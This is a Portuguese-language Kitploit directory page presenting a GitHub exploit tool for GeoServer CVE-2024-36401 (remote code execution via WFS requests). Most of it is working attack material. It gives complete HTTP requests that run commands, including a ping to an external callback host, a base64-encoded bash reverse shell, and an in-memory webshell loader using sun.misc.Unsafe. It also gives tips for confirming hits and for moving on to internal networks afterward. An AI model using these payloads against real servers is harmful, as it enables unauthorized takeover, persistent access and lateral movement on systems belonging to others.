Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
geoserver- — geoserver CVE-2024-36401 漏洞利用工具 | Kitploit
Ferramentas/GitHubGitHub/ahisec/geoserver-
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleDesenvolvimento de Payloads
GitHubahisec/geoserver-

geoserver-

geoserver CVE-2024-36401 漏洞利用工具

Ver Repositório
4681há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ferramenta de exploração da vulnerabilidade CVE-2024-36401 no GeoServer

geoserver CVE-2024-36401 Ambiente: JDK8 Aviso: Apenas para testes autorizados. O autor não se responsabiliza por quaisquer consequências decorrentes do uso indevido. Por favor, cumpra as leis e regulamentos!

1, Payload padrão:

POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>

Aqui preste atenção: <wfs:Query typeNames='sf:archsites'/>

Neste ponto, se você precisar usar expressões regulares para obter, este é um identificador básico do site sf:archsites. Você precisa primeiro obter as informações de

wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>, e então pode usar a concatenação.

Ao verificar a vulnerabilidade wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

Na verdade, nem é necessário consultar registros DNS

A lógica simples é verificar se existe uma classe de exceção anômala

Como java.lang.ClassCastException

Claro, isso é apenas a lógica de verificação.

Esta resposta é originalmente 400, é fácil cair aqui. Você precisa verificar a página de erro e depois procurar os dados.

Primeiro, você precisa fazer uma requisição para <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

Esta informação representa que você pode obter o wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>

Em seguida, atribua diretamente ao texto e chame uma função para extrair as informações do texto e concatená-las no parâmetro <wfs:Query typeNames='sf:archsites'/>.

Isso tornará a lógica de verificação mais precisa. Escreva a classe de detecção assim.

Se você usar apenas <wfs:Query typeNames='sf:archsites'/> repetidamente, a probabilidade de erro é alta, e será informado que não foi possível encontrar sf:archsites.

Classe de reverse shell

Vamos ver o payload de reverse shell:

POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>

Observe aqui:

<wfs:Query typeNames='sf:archsites'/>

Da mesma forma, primeiro obtenha o valor com regex e depois concatene-o.

Em seguida, faça a requisição diretamente.

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx é o base64 codificado.

Ao programar, converta a entrada do usuário bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 para base64.

Em seguida, faça a requisição e, da mesma forma, procure pela classe de exceção chave para determinar a lógica.

Classe de injeção de webshell na memória

Aqui POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>

Aqui também tem <wfs:Query typeNames='sf:archsites'/>, como de costume, primeiro obtenha o valor.

Em star, cole o código base64 do seu webshell na memória gerado.

Em seguida, a lógica de verificação.

Pontos onde é fácil errar

  1. Uso repetido de <wfs:Query typeNames='sf:archsites'/> leva a 98% de falsos positivos, erro como:

https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<

Ponto de existência da vulnerabilidade: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>

Resumindo, a vulnerabilidade existe quando aparece java.lang.ClassCastException.

Falso positivo é: Could not locate {http://www.openplans.org/spearfish}archsites in catalog.

  1. Método de verificação: Capture o wfs:ReturnFeatureType> chamado, atribua-o ao texto - chame uma função, faça a requisição, concatene na requisição e verifique a exceção no retorno.

Na chamada da função de texto, é necessário atribuir o valor antecipadamente para evitar exceções de ponteiro nulo. Concatene antes da requisição e verifique a exceção no retorno; a verificação é feita dentro da exceção.

Por fim, implementamos esta ferramenta de exploração.

image

Vamos testar a vulnerabilidade.

Efeito de execução da ferramenta

image

image

Dica: Sem resposta é igual a vulnerabilidade não encontrada; quando a vulnerabilidade existe, aparecerá um sinal de +.

Encontrada vulnerabilidade, obtenha reverse shell, faça teste de conexão. Se funcionar, faça testes na rede interna.

Possíveis otimizações: adicionar webshell personalizado na memória, verificação em lote, etc.

Baixar ferramenta